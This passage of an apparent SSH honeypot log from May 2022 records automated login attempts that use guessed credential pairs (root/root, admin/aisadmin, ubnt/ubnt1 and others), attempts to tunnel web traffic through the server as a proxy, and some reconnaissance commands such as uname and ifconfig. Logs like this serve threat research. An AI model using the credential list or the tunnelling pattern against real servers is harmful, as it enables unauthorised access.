HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] closed 2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] input: "GET /?requestid=32137 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] closed 2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested 2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] input: "GET /?requestid=85851 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] closed 2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] input: "GET /?requestid=36986 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] closed 2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested 2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] input: "GET /?requestid=61985 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] closed 2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested 2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] input: "GET /?requestid=6514 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] closed 2022/05/06 08:36:14 [190.2.139.67:7117] [channel 108] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 08:36:14 [190.2.139.67:7117] [channel 108] input: "GET /?requestid=12818 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 08:36:15 [190.2.139.67:7117] [channel 108] closed 2022/05/06 08:57:43 [190.2.139.67:58629] [channel 135] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 08:57:43 [190.2.139.67:58629] [channel 135] input: "GET /?requestid=65533 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 08:57:44 [190.2.139.67:58629] [channel 135] closed 2022/05/06 09:14:07 [92.159.59.16:39498] authentication for user "ubnt" without credentials rejected 2022/05/06 09:14:09 [92.159.59.16:39498] authentication for user "ubnt" with password "ubnt1" accepted 2022/05/06 09:14:09 [92.159.59.16:39498] connection with client version "SSH-2.0-OpenSSH_7.4" established 2022/05/06 09:14:10 [92.159.59.16:39498] connection closed 2022/05/06 09:14:14 [15.207.177.208:41458] authentication for user "roo" with password "123456" accepted 2022/05/06 09:14:14 [15.207.177.208:41458] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 09:14:15 [15.207.177.208:41458] connection closed 2022/05/06 09:14:16 [15.207.177.208:41708] authentication for user "nproc" with password "nproc" accepted 2022/05/06 09:14:16 [15.207.177.208:41708] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 09:14:16 [15.207.177.208:41708] connection closed 2022/05/06 09:15:03 [3.16.59.158:43316] authentication for user "root" with password "sr1234" accepted 2022/05/06 09:15:03 [3.16.59.158:43316] connection with client version "SSH-2.0-libssh_0.9.5" established 2022/05/06 09:15:04 [3.16.59.158:43318] authentication for user "knockknockwhosthere" with password "knockknockwhosthere" accepted 2022/05/06 09:15:04 [3.16.59.158:43318] connection with client version "SSH-2.0-libssh_0.9.5" established 2022/05/06 09:15:04 [3.16.59.158:43318] connection closed 2022/05/06 09:15:04 [3.16.59.158:43316] connection closed 2022/05/06 09:17:10 [3.16.59.158:43418] authentication for user "root" with password "1212" accepted 2022/05/06 09:17:10 [3.16.59.158:43418] connection with client version "SSH-2.0-libssh_0.9.5" established 2022/05/06 09:17:11 [3.16.59.158:43420] authentication for user "knockknockwhosthere" with password "knockknockwhosthere" accepted 2022/05/06 09:17:11 [3.16.59.158:43420] connection with client version "SSH-2.0-libssh_0.9.5" established 2022/05/06 09:17:11 [3.16.59.158:43418] connection closed 2022/05/06 09:17:11 [3.16.59.158:43420] connection closed 2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested 2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] input: "GET /?requestid=11658 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] closed 2022/05/06 09:23:00 [45.82.65.44:42736] [channel 27] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.143.25:80 requested 2022/05/06 09:23:00 [45.82.65.44:42736] [channel 27] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\r\n\r\n" 2022/05/06 09:23:01 [45.82.65.44:42736] [channel 27] input: "GET http://omegle.com/ HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\r\n\r\n" 2022/05/06 09:23:32 [45.82.65.44:42736] [channel 27] closed 2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested 2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] input: "GET /?requestid=58465 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] closed 2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested 2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] input: "GET /?requestid=17483 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] closed 2022/05/06 09:39:53 [195.3.147.60:48037] authentication for user "!root" without credentials rejected 2022/05/06 09:39:53 [195.3.147.60:48037] authentication for user "!root" with password "" accepted 2022/05/06 09:39:53 [195.3.147.60:48037] connection with client version "SSH-2.0-libssh_0.11" established 2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] direct TCP/IP forwarding from 127.0.0.1:6629 to 74.125.205.139:80 requested 2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] closed 2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] direct TCP/IP forwarding from 127.0.0.1:8451 to [2a00:1450:4010:c02::71]:80 requested 2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] closed 2022/05/06 09:39:53 [195.3.147.60:48037] connection closed 2022/05/06 09:44:27 [190.123.44.157:50934] authentication for user "root" with password "1234!@#$" accepted 2022/05/06 09:44:27 [190.123.44.157:50934] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 09:44:29 [190.123.44.157:51298] authentication for user "nproc" with password "nproc" accepted 2022/05/06 09:44:29 [190.123.44.157:51298] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 09:44:29 [190.123.44.157:51298] connection closed 2022/05/06 09:44:29 [190.123.44.157:50934] [channel 0] session requested 2022/05/06 09:44:29 [190.123.44.157:50934] [channel 0] closed 2022/05/06 09:44:29 [190.123.44.157:50934] connection closed 2022/05/06 09:46:12 [92.38.176.30:58548] authentication for user "tareq" with password "tareq" accepted 2022/05/06 09:46:12 [92.38.176.30:58548] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 09:46:12 [92.38.176.30:58548] connection closed 2022/05/06 09:46:13 [92.38.176.30:58768] authentication for user "nproc" with password "nproc" accepted 2022/05/06 09:46:13 [92.38.176.30:58768] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 09:46:13 [92.38.176.30:58768] connection closed 2022/05/06 09:52:11 [165.232.183.156:46374] authentication for user "zhaodandan" without credentials rejected 2022/05/06 09:52:11 [165.232.183.156:46374] authentication for user "zhaodandan" with password "zhaodandan" accepted 2022/05/06 09:52:11 [165.232.183.156:46374] connection with client version "SSH-2.0-Go" established 2022/05/06 09:52:11 [165.232.183.156:46374] [channel 0] session requested 2022/05/06 09:52:12 [165.232.183.156:46374] [channel 0] command "uname -s -v -n -r -m" requested 2022/05/06 09:52:12 [165.232.183.156:46374] [channel 0] closed 2022/05/06 09:54:43 [165.232.183.156:46374] connection closed 2022/05/06 10:01:04 [133.18.236.86:43326] authentication for user "root" with password "Qq@12345" accepted 2022/05/06 10:01:04 [133.18.236.86:43326] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 10:01:07 [133.18.236.86:43334] authentication for user "nproc" with password "nproc" accepted 2022/05/06 10:01:07 [133.18.236.86:43334] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 10:01:07 [133.18.236.86:43334] connection closed 2022/05/06 10:01:07 [133.18.236.86:43326] [channel 0] session requested 2022/05/06 10:01:07 [133.18.236.86:43326] [channel 0] closed 2022/05/06 10:01:07 [133.18.236.86:43326] connection closed 2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] input: "GET /?requestid=76082 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] closed 2022/05/06 10:28:45 [193.105.134.95:20411] authentication for user "admin" without credentials rejected 2022/05/06 10:28:45 [193.105.134.95:20411] authentication for user "admin" with password "aisadmin" accepted 2022/05/06 10:28:45 [193.105.134.95:20411] connection with client version "SSH-2.0-paramiko_1.12.4" established 2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] direct TCP/IP forwarding from 127.0.0.1:5262 to 172.217.21.174:80 requested 2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] direct TCP/IP forwarding from 127.0.0.1:1821 to [2a00:1450:400f:80a::200e]:80 requested 2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] closed 2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] closed 2022/05/06 10:28:45 [193.105.134.95:20411] connection closed 2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.142.25:80 requested 2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\r\n\r\n" 2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: "GET http://omegle.com/ HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\r\n\r\n" 2022/05/06 10:39:59 [45.82.65.44:42736] [channel 28] closed 2022/05/06 10:43:18 [193.105.134.95:46780] authentication for user "!root" without credentials rejected 2022/05/06 10:43:18 [193.105.134.95:46780] authentication for user "!root" with password "" accepted 2022/05/06 10:43:18 [193.105.134.95:46780] connection with client version "SSH-2.0-Granados-1.0" established 2022/05/06 10:43:18 [193.105.134.95:46780] [channel 0] direct TCP/IP forwarding from 127.0.0.1:19536 to 172.217.21.174:80 requested 2022/05/06 10:43:18 [193.105.134.95:46780] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] direct TCP/IP forwarding from 127.0.0.1:17549 to [2a00:1450:400f:80a::200e]:80 requested 2022/05/06 10:43:19 [193.105.134.95:46780] [channel 0] closed 2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] closed 2022/05/06 10:43:19 [193.105.134.95:46780] connection closed 2022/05/06 10:44:30 [202.153.33.62:26354] authentication for user "ubnt" without credentials rejected 2022/05/06 10:44:31 [202.153.33.62:26354] authentication for user "ubnt" with password "ubnt1" accepted 2022/05/06 10:44:31 [202.153.33.62:26354] connection with client version "SSH-2.0-OpenSSH_7.4" established 2022/05/06 10:44:33 [202.153.33.62:26354] connection closed 2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested 2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] input: "GET /?requestid=3381 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] closed 2022/05/06 11:44:51 [65.108.254.29:39240] authentication for user "root" with password "Subby123123" accepted 2022/05/06 11:44:51 [65.108.254.29:39240] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 11:44:51 [65.108.254.29:39240] connection closed 2022/05/06 11:44:51 [65.108.254.29:39858] authentication for user "nproc" with password "nproc" accepted 2022/05/06 11:44:51 [65.108.254.29:39858] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 11:44:51 [65.108.254.29:39858] connection closed 2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] input: "GET /?requestid=54995 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] closed 2022/05/06 11:47:01 [217.95.152.37:62602] authentication for user "sales" with password "sales123" accepted 2022/05/06 11:47:01 [217.95.152.37:62602] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 11:47:02 [217.95.152.37:33514] authentication for user "nproc" with password "nproc" accepted 2022/05/06 11:47:02 [217.95.152.37:33514] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 11:47:02 [217.95.152.37:33514] connection closed 2022/05/06 11:47:02 [217.95.152.37:62602] [channel 0] session requested 2022/05/06 11:47:02 [217.95.152.37:62602] [channel 0] closed 2022/05/06 11:47:02 [217.95.152.37:62602] connection closed 2022/05/06 11:53:48 [45.82.65.44:42736] [channel 29] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.139.25:80 requested 2022/05/06 11:53:48 [45.82.65.44:42736] [channel 29] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\r\n\r\n" 2022/05/06 11:53:50 [45.82.65.44:42736] [channel 29] closed 2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested 2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] input: "GET /?requestid=13796 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] closed 2022/05/06 12:25:39 [188.255.62.33:48649] authentication for user "root" with password "root" accepted 2022/05/06 12:25:39 [188.255.62.33:48649] connection with client version "SSH-2.0-libssh2_1.7.0" established 2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] session requested 2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] command "/ip cloud print" requested 2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] closed 2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] session requested 2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] command "ifconfig" requested 2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] closed 2022/05/06 12:25:39 [188.255.62.33:48649] connection closed 2022/05/06 12:33:29 [154.86.27.24:33448] authentication for user "sam" with password "12345678" accepted 2022/05/06 12:33:29 [154.86.27.24:33448] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 12:33:29 [154.86.27.24:33448] connection closed 2022/05/06 12:33:31 [154.86.27.24:34072] authentication for user "nproc" with password "nproc" accepted 2022/05/06 12:33:31 [154.86.27.24:34072] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 12:33:31 [154.86.27.24:34072] connection closed 2022/05/06 12:39:33 [195.3.147.60:9217] authentication for user "admin" without credentials rejected 2022/05/06 12:39:33 [195.3.147.60:9217] authentication for user "admin" with password "aisadmin" accepted 2022/05/06 12:39:33 [195.3.147.60:9217] connection with client version "SSH-2.0-paramiko_1.16.1" established 2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] direct TCP/IP forwarding from 127.0.0.1:4909 to 74.125.205.139:80 requested 2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] closed 2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] direct TCP/IP forwarding from 127.0.0.1:18210 to [2a00:1450:4010:c02::71]:80 requested 2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] closed 2022/05/06 12:39:33 [195.3.147.60:9217] connection closed 2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] input: "GET /?requestid=72371 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] closed 2022/05/06 12:59:04 [45.82.65.44:42736] [channel 30] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.142.25:80 requested 2022/05/06 12:59:04 [45.82.65.44:42736] [channel 30] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\r\n\r\n" 2022/05/06 12:59:05 [45.82.65.44:42736] [channel 30] input: "GET http://omegle.com/ HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\r\n\r\n" 2022/05/06 12:59:36 [45.82.65.44:42736] [channel 30] closed 2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested 2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] input: "GET /?requestid=12627 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] closed 2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested 2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] input: "GET /?requestid=88211 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] closed 2022/05/06 13:18:31 [193.105.134.95:13053] authentication for user "!root" without credentials rejected 2022/05/06 13:18:31 [193.105.134.95:13053] authentication for user "!root" with password "" accepted 2022/05/06 13:18:31 [193.105.134.95:13053] connection with client version "SSH-2.0-PuTTY_Release_0.64" established 2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] direct TCP/IP forwarding from 127.0.0.1:21561 to 172.217.21.174:80 requested 2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] closed 2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] direct TCP/IP forwarding from 127.0.0.1:29429 to [2a00:1450:400f:80a::200e]:80 requested 2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] closed 2022/05/06 13:18:31 [193.105.134.95:13053] connection closed 2022/05/06 13:25:37 [144.22.213.51:55710] authentication for user "admin" without credentials rejected 2022/05/06 13:25:40 [144.22.213.51:55710] authentication for user "admin" with password "1234567" accepted 2022/05/06 13:25:40 [144.22.213.51:55710] connection with client version "SSH-2.0-OpenSSH_7.4" established 2022/05/06 13:25:44 [144.22.213.51:55710] connection closed 2022/05/06 13:39:55 [65.49.20.66:23616] authentication for user "" without credentials rejected 2022/05/06 13:48:37 [193.105.134.95:49178] authentication for user "admin" without credentials rejected 2022/05/06 13:48:37 [193.105.134.95:49178] authentication for user "admin" with password "aisadmin" accepted 2022/05/06 13:48:37 [193.105.134.95:49178] connection with client version "SSH-2.0-paramiko_2.0.2" established 2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] direct TCP/IP forwarding from 127.0.0.1:23817 to 172.217.21.174:80 requested 2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] direct TCP/IP forwarding from 127.0.0.1:10037 to [2a00:1450:400f:80a::200e]:80 requested 2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] closed 2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] closed 2022/05/06 13:48:37 [193.105.134.95:49178] connection closed 2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] input: "GET /?requestid=40353 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] closed 2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] input: "GET /?requestid=27608 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] closed 2022/05/06 14:28:01 [43.154.53.163:58300] authentication for user "root" with password "xiaoming" accepted 2022/05/06 14:28:01 [43.154.53.163:58300] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 14:28:04 [43.154.53.163:58868] authentication for user "nproc" with password "nproc" accepted 2022/05/06 14:28:04 [43.154.53.163:58868] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 14:28:04 [43.154.53.163:58300] [channel 0] session requested 2022/05/06 14:28:04 [43.154.53.163:58868] connection closed 2022/05/06 14:28:05 [43.154.53.163:58300] [channel 0] closed 2022/05/06 14:28:05 [43.154.53.163:58300] connection closed 2022/05/06 14:28:15 [87.121.6.204:49420] authentication for user "root" with password "Password321" accepted 2022/05/06 14:28:15 [87.121.6.204:49420] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 14:28:15 [87.121.6.204:49568] authentication for user "nproc" with password "nproc" accepted 2022/05/06 14:28:15 [87.121.6.204:49568] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 14:28:15 [87.121.6.204:49420] [channel 0] session requested 2022/05/06 14:28:15 [87.121.6.204:49568] connection closed 2022/05/06 14:28:15 [87.121.6.204:49420] [channel 0] closed 2022/05/06 14:28:15 [87.121.6.204:49420] connection closed 2022/05/06 14:30:02 [45.239.216.250:45336] authentication for user "root" with password "root#1234" accepted 2022/05/06 14:30:02 [45.239.216.250:45336] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 14:30:05 [45.239.216.250:46226] authentication for user "nproc" with password "nproc" accepted 2022/05/06 14:30:05 [45.239.216.250:46226] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 14:30:05 [45.239.216.250:46226] connection closed 2022/05/06 14:30:05 [45.239.216.250:45336] [channel 0] session requested 2022/05/06 14:30:05 [45.239.216.250:45336] [channel 0] closed 2022/05/06 14:30:05 [45.239.216.250:45336] connection closed 2022/05/06 14:56:33 [1.7.180.245:44604] authentication for user "admin" without credentials rejected 2022/05/06 14:56:35 [1.7.180.245:44604] authentication for user "admin" with password "1234567" accepted 2022/05/06 14:56:35 [1.7.180.245:44604] connection with client version "SSH-2.0-OpenSSH_7.4" established 2022/05/06 14:56:37 [1.7.180.245:44604] connection closed 2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.141.25:80 requested 2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\r\n\r\n" 2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: "GET http://omegle.com/ HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\r\n\r\n" 2022/05/06 15:35:31 [45.82.65.44:42736] [channel 31] closed 2022/05/06 15:38:52 [195.3.147.60:39075] authentication for user "!root" without credentials rejected 2022/05/06 15:38:52 [195.3.147.60:39075] authentication for user "!root" with password "" accepted 2022/05/06 15:38:52 [195.3.147.60:39075] connection with client version "SSH-2.0-PuTTY_Release_0.63" established 2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] direct TCP/IP forwarding from 127.0.0.1:17762 to 74.125.205.102:80 requested 2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] closed 2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] direct TCP/IP forwarding from 127.0.0.1:640 to [2a00:1450:4010:c02::64]:80 requested 2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] input: "GET / HTTP/1.0\r\nHost: 